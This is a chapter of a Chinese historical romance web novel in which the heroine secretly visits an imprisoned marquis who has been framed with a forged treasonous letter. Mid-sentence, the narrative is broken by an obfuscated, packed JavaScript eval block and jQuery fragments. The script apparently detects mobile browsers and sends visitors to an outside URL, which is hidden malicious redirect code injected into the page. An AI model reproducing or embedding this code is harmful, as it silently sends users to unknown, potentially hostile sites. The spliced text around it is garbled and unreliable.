棠絮晚撑着素色流云纸伞步步前行，脚步印在雪地里，留下淡淡的凹痕，很快被新雪漫平。


    棠絮晚没有正面回应嵇泓的问题，只隐隐觉得心火跃动。


    这些话若是说在半月前，她许会触动颇深，虽不至将全部希望寄托在他身上，终归是欣喜的。


    可晚至如今，欣喜不复，唯余悲凉，终成错位之诺。


    时至今日，她谁也不能信，谁都不愿信。年幼时未能解开的迷困，她必定要凭借己身破开此局。


    道阻且长便缓慢前行，总会找到柳暗花明的道路。


    行至庭前，萧荣晔与旁人的嘱咐刚歇，远远见到便向她招手。


    萧荣晔等待着她走到近前，搪开她手里的伞，从侍仆手里接过伞柄，遮在她头顶：“怎么到处乱跑？我忙完都没找到你。”


    棠絮晚垂眸，掩去眼底的情绪，恢复成那副低眉顺眼的柔软模样：“回殿下，少师大人重伤，屋内的血腥气甚重，絮晚不敢近前。


    “况且少师大人醒转，殿下与诸位太医皆繁忙无暇，絮晚留下无用，徒添赘余，适才离去。”


    萧荣晔意会颔首，目光在她姣好的面容间梭巡，语气似乎漫不经心：“孤记得你以前时常会出宫拜会先生，那时你还会随着孤称少师一声‘先生’，近来怎么换了称呼？”


    棠絮晚没抬头，那压迫的视线暗暗扫过她的身体，像是细密的网慢慢收紧的束缚。


    往日她很少出现在萧荣晔面前，尽最大努力减少着存在感。


    她以为萧荣晔并不在意她，所以一次次毫无顾忌地登门少师府，可当这些话说出口时，棠絮晚就清楚地明白，萧荣晔什么都清楚。


    她微屏呼吸：“我与殿下即将成婚，万事行来都需小心谨慎，絮晚唤少师大人一句‘先生’本就是僭越，若是被有心人上奏，恐累及殿下，故此改换称呼。”


    萧荣晔浅笑：“如此这般最好。”


    他抚上棠絮晚的发顶，触摸的手温融化着她发间的雪：“你且去马车上候着，孤很快就来，送你回别苑。”


    萧荣晔将伞柄又向棠絮晚推了半寸，提步踏入雪中。身旁候着的太监快步追上，无缝衔接上萧荣晔头顶的伞面，不令他挨到半点雪渍。


    棠絮晚敛去面上的神情，微微侧眸，看向自己曝露在风雪里的小半身子，无言掸去积累在绒毛衣领上的雪白。


    她依言带着侍女回到驾乘上，车上帘布掀动，半遮半露出少师府门前的牌匾。


    嵇泓的那番话再次回响耳中。


    棠絮晚没给嵇泓任何承诺，仅与嵇泓约定好今晚夜探平宁侯。


    回去的路上，萧荣晔罕见地出现少许外露的喜色。


    他少有这么喜形于色的时刻，或许是不担心旁人看出这种情绪，亦或是并没有棠絮晚放在心上，即便能读懂他这份喜悦也无所谓。


    萧荣晔没在别苑停留，老套地叮嘱她今日要好好休息，便折返回宫。


    暮色像浸了墨的纱，缓慢裹住庭院，一点点吞没了树影，吐出个模糊的轮廓。


    棠絮晚的卧房里，香茉正小心翼翼地拆着与她白日里一模一样的发髻，相似的身影映在窗前，看起来一副她就要入睡的模样。


    她换上墨色的衣衫，在护卫的掩护下绕开太子守卫，离开了别苑。


    晚夜的寒凉掀起她的衣袍，与暗夜融为一体，半个时辰的长途奔袭，棠絮晚终于抵达了诏狱。


    她在诏狱门口见到了嵇泓。


    诏狱的烛火昏黄摇曳，幽深地压上嵇泓的后背，勾勒出清癯的身形。


    他穿得比往日厚得多，沉重的衣袍裹在身上，掩不住骨子里的畏寒。棠絮晚知道，那是伤重后的常见反应，危险得再受不得半点风寒。


    嵇泓一改往日的独行，身边带着个侍卫，一柄粗粝的剑挂在腰间，平添了几分凛厉。


    这人她认识，这些年一直跟着嵇泓，但实则极少与棠絮晚接触，不明性格，只知名字叫虞子骞。


    她没有过多关注这个人，眼下的当务之急，是见到平宁侯，知悉陛下与他说了什么。


    夜半的诏狱是少眠之地，呜咽与哀嚎不绝如缕，刺耳地扎在棠絮晚耳中，平添着不适之感。


    平宁侯闭眼端坐在牢房中，久经沙场的气魄令他不似身陷囹圄，更如同安坐中军大帐般气定神闲。


    听闻有人靠近，也是毫无惧色地睁眼，端看着来人。


    棠絮晚摘下惟帽，露出面容，平宁侯原本稳如泰山的坐姿倏而站立，向他们的方向靠近过来。


    平宁侯看了棠絮晚片刻，眼中的惊愕散去，取而代之的是眉间褶皱。


    他长叹：“丫头，这不是你该来的地方，也不是你该参与的事。”


    他越过棠絮晚的衣角瞥看一眼她两步外的嵇泓，又说：“本侯知你是知恩图报之人，老首辅一生鞠躬尽瘁，奈何死于非命。


    “覆沛能救下你，反倒是她的福分，你能做到这种程度，已经足够了。更深露重，快些回去吧。”


    说罢，他便回到那陈旧到几乎发霉的长凳边，重新坐下。


    棠絮晚心焦地迎前几步，双手紧紧扒在狱栏上，掌心被硌出了浅痕：“侯爷既知我性子几何，就该知道无论如何我都会掺进这案子中来。


    “我知陛下今日召见侯爷，絮晚想知道，你们都说了什么？”


    听见棠絮晚说“陛下召见”，平宁侯的眸光触动，心绪波动之余又扫向嵇泓，仍旧是没回话。


    嵇泓攥着衣袍，恭谨行礼：“侯爷，我知你不想让棠姑娘参与到这件事里，徒然丢了性命。


    “侯爷应知圣上命我协查此案，嵇某在此保证，不会将棠姑娘卷入其中，若有危险，皆由我一力承担。”


    平宁侯搭在膝间的手悄然收紧，态度已然有了松动的迹象。


    嵇泓乘胜追击：“嵇某从不言不力行之事，纵我有圣命在身，也不能久留与此，还请侯爷告知一切，切莫误了追查的良机。”


    棠絮晚明了嵇泓所说尽是劝说之言，没放在心上，顺着嵇泓的话头接续：“侯爷，即便是你存有忠骨，不肯辩驳，也要为妻儿思量一二啊。”


    烛火在晦暗的牢房中摇晃，把牢里的人影晃得忽明忽暗。


    平宁侯望着棠絮晚扔扒在栏杆上的手，肩背终于不像之前那样绷得笔直，“妻儿”二字像是戳中了他为数不多的弱点，迫使他冒险松口。


    “今日圣上面见于我，给我看了一封书信。信中之言大逆不道，决计不是出于我手，可那字迹和印鉴却都是我的，致使我在圣前百口莫辩。”


    棠絮晚追问：“信里写了什么？”


    平宁侯咬住槽牙，忿忿道：“伪造的是我在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16401904|184046||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    昌平八年与前任太子的书信，密谋合围陛下行宫，摄取政权。”


    棠絮晚听着，甚至能想象出平宁侯跪在御前，迷惘地不知作何辩驳，一味叩首表忠心的场景。


    信里内容若确认是真的，谋逆之罪是定然跑不掉了，平宁侯觉得信件有异，但亲自看过都没能发现异常。


    棠絮晚抓在栏杆上的力道化作眉心蹙紧的凝重，连眼尾都跟着沉了些，嘴上的忠诚显然不足以取信陛下，眼下的形势可以称得上是严峻。


    牢外的风裹着寒意漏进来，寒得她发颤。


    嵇泓望着平宁侯，声音略低了些，带着对细节的追问：“侯爷可还记得这证据过了谁的手？”


    平宁侯眉峰微顿，似在回忆：“证据是锦衣卫都指挥使严瞻搏亲手呈上来的，至于还过什么人的手，我着实不清楚。”


    嵇泓思索片刻，似是想到了什么，点了点头，继而看向棠絮晚：“棠姑娘可还有什么要问的？”


    棠絮晚的指尖掐着衣袖，快速回眸瞥了一眼嵇泓，还是问出了她疑惑已久的问题。


    “日前去府上探查，在侯爷的书房里发现过一个隐秘的暗格，暗格内有一墨色锦盒，敢问盒子里的东西，可与本案有关？”


    平宁侯掌心里还留着握剑磨出的老茧，听到棠絮晚所言，呆滞片刻，缓缓问她：“锦盒？怎会有锦盒？”


    牢墙缝里漏进的风带着点霉味，他起身向棠絮晚走近了些：“我房中的确有暗格，那里面……”


    话说到一半，他明显犹豫，但还是因眼下的窘况不得不继续说：“是我为覆沛在京中购置的私产。


    “我知她性子不似一般女子，难有婚嫁，强行逼迫她下嫁，定然会陷入不幸，于是就与夫人商量给她购置一些私产，也可保她日后衣食无忧。”


    说完，平宁侯又问：“我不记得我有将这些放在锦盒中，你可曾打开看里面是何物？”


    棠絮晚不动声色地咽下实话，礼貌答曰：“知是平宁侯私物，一直未开启，当时情况所迫，担心锦衣卫搜查出此物，这才带离。”


    平宁侯思索着捻过颌下半白的胡须：“既是如此，你且打开一观，我书房里的暗格难以被人所查，若是有心人栽赃，也能循着内里的东西查出些蛛丝马迹。”


    平宁侯所言并无蹊跷，皆是慈父亲对子女的关切体恤，对待那锦盒的态度也并无不妥，不藏私也不遮掩，没有任何可疑可言，看起来就是完全不知锦盒一事。


    该问的话都已问清，两人向平宁侯躬身行礼，并行离去。


    出了那血腥气极重的诏狱，棠絮晚停下脚步，对嵇泓略微欠身：“今晚多谢少师大人行以便利，他日定会报答，余下的路絮晚自行回去便可。”


    随着行礼的身子直起，棠絮晚转身离去，正撞见巡查的锦衣卫迎过来，腰佩的绣春刀在昏光下泛着冷光，直奔两人而来。


    棠絮晚即刻背过身去，避免了遥远地视线相对。


    嵇泓发现异常，嵇泓急速拉住棠絮晚，在她身侧沉声道：“上车，你孤身走不掉的。”


    驱架的少师府马车恰好停在两人身侧，车轮停止的声响溜进两人近得几乎相贴的身形间。


    手掌接触处卓然的热意扑来，异常的滚烫不由分说地侵入她的体温，迫使棠絮晚抬眸与他对视。


    一时间，呼吸交互。